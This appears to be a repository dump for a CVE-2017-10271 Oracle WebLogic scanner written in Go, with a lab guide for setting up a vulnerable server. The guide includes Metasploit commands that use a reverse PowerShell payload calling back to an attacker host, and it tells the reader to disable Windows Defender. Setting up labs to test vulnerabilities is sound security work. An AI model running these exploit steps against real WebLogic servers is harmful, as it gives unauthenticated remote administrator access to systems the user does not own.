-------------------------------------------------------------------------------- /scanners/libcve201710271/urls.go: -------------------------------------------------------------------------------- 1 | package libcve201710271 2 | 3 | var ( 4 | // DefaultURLs is the endpoint URL that we should scan by default. 5 | DefaultURLs = []string{ 6 | "/wls-wsat/CoordinatorPortType", 7 | } 8 | 9 | // AllURLs is the endpoint URLs that are known to be vulnerable and may be 10 | // desirable to scan in certain cases. 11 | AllURLs = []string{ 12 | "/wls-wsat/CoordinatorPortType", 13 | "/wls-wsat/CoordinatorPortType11", 14 | "/wls-wsat/ParticipantPortType", 15 | "/wls-wsat/ParticipantPortType11", 16 | "/wls-wsat/RegistrationPortTypeRPC", 17 | "/wls-wsat/RegistrationPortTypeRPC11", 18 | "/wls-wsat/RegistrationRequesterPortType", 19 | "/wls-wsat/RegistrationRequesterPortType11", 20 | } 21 | ) 22 | -------------------------------------------------------------------------------- /scanners/libcve201710271/workers.go: -------------------------------------------------------------------------------- 1 | package libcve201710271 2 | 3 | import ( 4 | "sync" 5 | 6 | "github.com/sirupsen/logrus" 7 | ) 8 | 9 | // Worker is used to create a new worker which we'll use when sending requests 10 | func Worker(id int, m *sync.Mutex, jobs <-chan TargetHost) { 11 | m.Lock() 12 | logrus.Infof("Worker %d started", id) 13 | m.Unlock() 14 | for th := range jobs { 15 | SendRequest(th, id, m) 16 | } 17 | m.Lock() 18 | logrus.Infof("Worker %d finished", id) 19 | m.Unlock() 20 | } 21 | -------------------------------------------------------------------------------- /scanners/main.go: -------------------------------------------------------------------------------- 1 | // Copyright © 2018 Kevin Kirsche 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package main 16 | 17 | import "github.com/kkirsche/CVE-2017-10271/scanners/cmd" 18 | 19 | func main() { 20 | cmd.Execute() 21 | } 22 | -------------------------------------------------------------------------------- /vulnerable_machine_setup.md: -------------------------------------------------------------------------------- 1 | # Vulnerable Application 2 | 3 | Oracle WebLogic server versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0 with access to Web Services Atomic Transaction (WS-AT) endpoints are vulnerable to unauthenticated arbitrary command execution. 4 | 5 | ### Windows: Setting up a vulnerable application 6 | 7 | We successfully tested this exploit against a fully-patched, Windows 10 (x64) target. Since WebLogic is resource intensive, consider providing four cores and 8GB of RAM. 8 | 9 | 1. [Download](http://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-main-097127.html) Oracle WebLogic Server 10.3.6, using the "Windows x86 with 32-bit JVM" (`wls1036_win32.exe`). 10 | 2. Run the installer. (See [here] for detailed instructions.) You may be prompted to install a Java Development Kit (JDK). [JDK 8u151 x64](http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html) was verified working. 11 | 3. Windows Defender will block the payload from executing, so you may need to [temporarily](https://support.microsoft.com/en-us/help/4027187/windows-turn-off-windows-defender-antivirus) or [permanently](https://www.windowscentral.com/how-permanently-disable-windows-defender-windows-10) disable it. 12 | 4. Run the configuration wizard and [create a new weblogic domain](https://docs.oracle.com/cd/E29542_01/web.1111/e14140/newdom.htm#WLDCW192). Domain names and credentials are irrelevant. At the conclusion of the wizard, click "Start Admin Server". 13 | 5. The `startWebLogic.cmd` should run immediately after the installer and present logging output. Once running, the window should output a line similar to the following 14 | ``` 15 | 16 | 17 | ``` 18 | 19 | ### Windows: Attacking a vulnerable application 20 | 21 | Attack the above Windows server using the `exploit/multi/http/oracle_weblogic_wsat_deserialization_rce`: 22 | 23 | ``` 24 | msf > use exploit/multi/http/oracle_weblogic_wsat_deserialization_rce 25 | msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set RHOST [IP address of your target] 26 | msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set TARGET 0 27 | msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set PAYLOAD cmd/windows/reverse_powershell 28 | msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set LHOST [IP address of your attacker] 29 | msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > run 30 | 31 | [*] Started reverse TCP handler on 192.168.108.1:4444 32 | [*] Command shell session 1 opened (192.168.108.1:4444 -> 192.168.108.132:50060) at 2018-01-11 11:48:16 -0600 33 | 34 | Microsoft Windows [Version 10.0.16299.192] 35 | (c) 2017 Microsoft Corporation. All rights reserved. 36 | 37 | C:\Oracle\Middleware\user_projects\domains\admindomain>whoami 38 | weblogic-server\Administrator 39 | ``` 40 | 41 | ### Unix: Setting up a vulnerable environment 42 | 43 | 1. If necessary, install Docker.io. [These instructions](https://www.ptrace-security.com/2017/06/14/how-to-install-docker-on-kali-linux-2017-1/) were tested on a Kali 2017.3 VM: 44 | 45 | ``` 46 | apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D 47 | echo 'deb https://apt.dockerproject.org/repo debian-stretch main' > /etc/apt/sources.list.d/docker.list 48 | apt update 49 | apt-get install docker-engine 50 | service docker start 51 | docker run hello-world 52 | ``` 53 | 54 | 2. Install a container running Ubuntu 16.04 and WebLogic 10.3.6.0: 55 | ``` 56 | docker run -d -p7001:7001 -p80:7001 kkirsche/cve-2017-10271 57 | ``` 58 | 59 | 3. Confirm that the container is up. 60 | ``` 61 | docker ps 62 | ``` 63 | --------------------------------------------------------------------------------